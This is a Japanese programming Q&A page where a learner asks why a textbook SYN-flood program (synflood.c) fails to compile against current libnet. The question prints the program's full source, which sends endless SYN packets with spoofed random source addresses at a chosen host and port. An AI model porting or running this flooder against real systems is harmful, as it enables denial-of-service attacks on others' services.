🎄teratailクリスマスプレゼントキャンペーン2024🎄』開催中!

\teratail特別グッズやAmazonギフトカード最大2,000円分が当たる!/

詳細はこちら
C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

ネットワーク

ネットワークとは、複数のコンピューター間を接続する技術です。インターネットが最も主流なネットワークの形態で、TCP/IP・HTTP・DNSなどの様々なプロトコルや、ルータやサーバーなどの様々な機器の上に成り立っています。

Q&A

1回答

1192閲覧

libnetをコンパイルしたい

退会済みユーザー

退会済みユーザー

総合スコア0

C

C言語は、1972年にAT&Tベル研究所の、デニス・リッチーが主体となって作成したプログラミング言語です。 B言語の後継言語として開発されたことからC言語と命名。そのため、表記法などはB言語やALGOLに近いとされています。 Cの拡張版であるC++言語とともに、現在世界中でもっとも普及されているプログラミング言語です。

ネットワーク

ネットワークとは、複数のコンピューター間を接続する技術です。インターネットが最も主流なネットワークの形態で、TCP/IP・HTTP・DNSなどの様々なプロトコルや、ルータやサーバーなどの様々な機器の上に成り立っています。

0グッド

0クリップ

投稿2020/12/30 02:44

ネットワークプログラミングを学んでいるのですが、libnetというパケットキャプチャのライブラリを使いたいです。環境はMac OS Xです。
linnet.hがないようなのでlibnetをインストールし下記コマンドで実行しました。

cd libnet-1.2/ ./configure && make sudo make install

また、コンパイルしたいコードは以下です。

/* synflood.c */ #include <libnet.h> #define FLOOD_DELAY 5000 // パケット注入の遅延時間は5000msである。 /* x.x.x.x形式のIPを返す */ char *print_ip(u_long *ip_addr_ptr) { return inet_ntoa( *((struct in_addr *)ip_addr_ptr) ); } int main(int argc, char *argv[]) { u_long dest_ip; u_short dest_port; u_char errbuf[LIBNET_ERRBUF_SIZE], *packet; int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; if(argc < 3) { printf("使用方法:\n%s\t <対象ホスト> <対象ポート>\n", argv[0]); exit(1); } dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // ホスト dest_port = (u_short) atoi(argv[2]); // ポート番号 network = libnet_open_raw_sock(IPPROTO_RAW); // ネットワークインタフェースをオープンする if (network == -1) libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); libnet_init_packet(packet_size, &packet); // パケット用のメモリを割り当てる if (packet == NULL) libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n"); libnet_seed_prand(); // 乱数生成器に種を与える printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip)); while(1) // 永久ループ(CTRL-Cで終了されるまで) { libnet_build_ip(LIBNET_TCP_H, // IPヘッダを除いたパケットのサイズ IPTOS_LOWDELAY, // IP tos libnet_get_prand(LIBNET_PRu16), // IP ID(乱数化) 0, // 断片化 libnet_get_prand(LIBNET_PR8), // TTL (乱数化) IPPROTO_TCP, // トランスポートプロトコル libnet_get_prand(LIBNET_PRu32), // 送信元IP (乱数化) dest_ip, // 宛先IP NULL, // ペイロード(なし) 0, // ペイロード長 packet); // パケットヘッダメモリ libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // 送信元TCPポート (乱数化) dest_port, // 宛先TCPポート libnet_get_prand(LIBNET_PRu32), // シーケンス番号 (乱数化) libnet_get_prand(LIBNET_PRu32), // ACK番号 (乱数化) TH_SYN, // コントロールフラグ (SYNフラグのみ設定) libnet_get_prand(LIBNET_PRu16), // ウィンドウサイズ (乱数化) 0, // 至急ポインタ NULL, // ペイロード (なし) 0, // ペイロード長 packet + LIBNET_IP_H); // パケットヘッダメモリ if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1) libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n"); byte_count = libnet_write_ip(network, packet, packet_size); // パケットを注入する if (byte_count < packet_size) libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d bytes)", byte_count, packet_size); usleep(FLOOD_DELAY); // FLOOD_DELAYミリ秒待機する } libnet_destroy_packet(&packet); // パケットメモリを解放する if (libnet_close_raw_sock(network) == -1) // ネットワークインタフェースをクローズする libnet_error(LIBNET_ERR_WARNING, "can't close network interface."); return 0; }

linnet.hは通ったのですが、代わりに以下のようなエラーがたくさん出てきました。

(base) Apple-no-MacBook-Pro:0x400 apple$ gcc synflood.c -lnet synflood.c:15:48: error: use of undeclared identifier 'LIBNET_IP_H' int opt, network, byte_count, packet_size = LIBNET_IP_H + LIBNET_TCP_H; ^ synflood.c:23:14: error: implicit declaration of function 'libnet_name_resolve' is invalid in C99 [-Werror,-Wimplicit-function-declaration] dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // ホスト ^ synflood.c:23:14: note: did you mean 'libnet_cq_remove'? /usr/local/include/./libnet/libnet-functions.h:2257:1: note: 'libnet_cq_remove' declared here libnet_cq_remove(libnet_t *l); ^ synflood.c:27:14: error: implicit declaration of function 'libnet_open_raw_sock' is invalid in C99 [-Werror,-Wimplicit-function-declaration] network = libnet_open_raw_sock(IPPROTO_RAW); // ネットワークインタフェースをオープンする ^ synflood.c:29:7: error: implicit declaration of function 'libnet_error' is invalid in C99 [-Werror,-Wimplicit-function-declaration] libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run as root.\n"); ^ synflood.c:29:7: note: did you mean 'libnet_geterror'? /usr/local/include/./libnet/libnet-functions.h:147:1: note: 'libnet_geterror' declared here libnet_geterror(libnet_t *l); . . .

これは最新版に対応しておらず、コードが古いからなのでしょうか?それとも何か不足しているのでしょうか??
どなたかご存知の方がおりましたらご教授お願いします。

気になる質問をクリップする

クリップした質問は、後からいつでもMYページで確認できます。

またクリップした質問に回答があった際、通知やメールを受け取ることができます。

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

jbpb0

2020/12/31 02:26 編集

> 最新版に対応しておらず、コードが古いからなのでしょうか? https://ubuntuforums.org/archive/index.php/t-2112322.html の一番下のによると、「LIBNET_IP_H」は古い書き方で無くなっていて、別の書き方に置き換わっている、とのこと > 何か不足しているのでしょうか? 上記Webページの下から二番目とか、 https://stackoverflow.com/questions/5136980/cant-compile-simple-program-with-tcp-h-because-of-error-from-endianess とか見ると、コンパイル時に「-D オプション」をいくつか付けたり、リンク時に「-lpcap」付けたりしないといけないかも
guest

回答1

0

攻撃コードのコンパイルすら満足にできんとかスクリプトキディ未満かよ。ハッカーやんならライブラリのソースコード読みにいって自力で定義探すくらいやってきな。

投稿2020/12/30 04:53

A_kirisaki

総合スコア2853

バッドをするには、ログインかつ

こちらの条件を満たす必要があります。

あなたの回答

tips

太字

斜体

打ち消し線

見出し

引用テキストの挿入

コードの挿入

リンクの挿入

リストの挿入

番号リストの挿入

表の挿入

水平線の挿入

プレビュー

まだベストアンサーが選ばれていません

会員登録して回答してみよう

アカウントをお持ちの方は

15分調べてもわからないことは
teratailで質問しよう!

ただいまの回答率
85.36%

質問をまとめることで
思考を整理して素早く解決

テンプレート機能で
簡単に質問をまとめる

質問する

関連した質問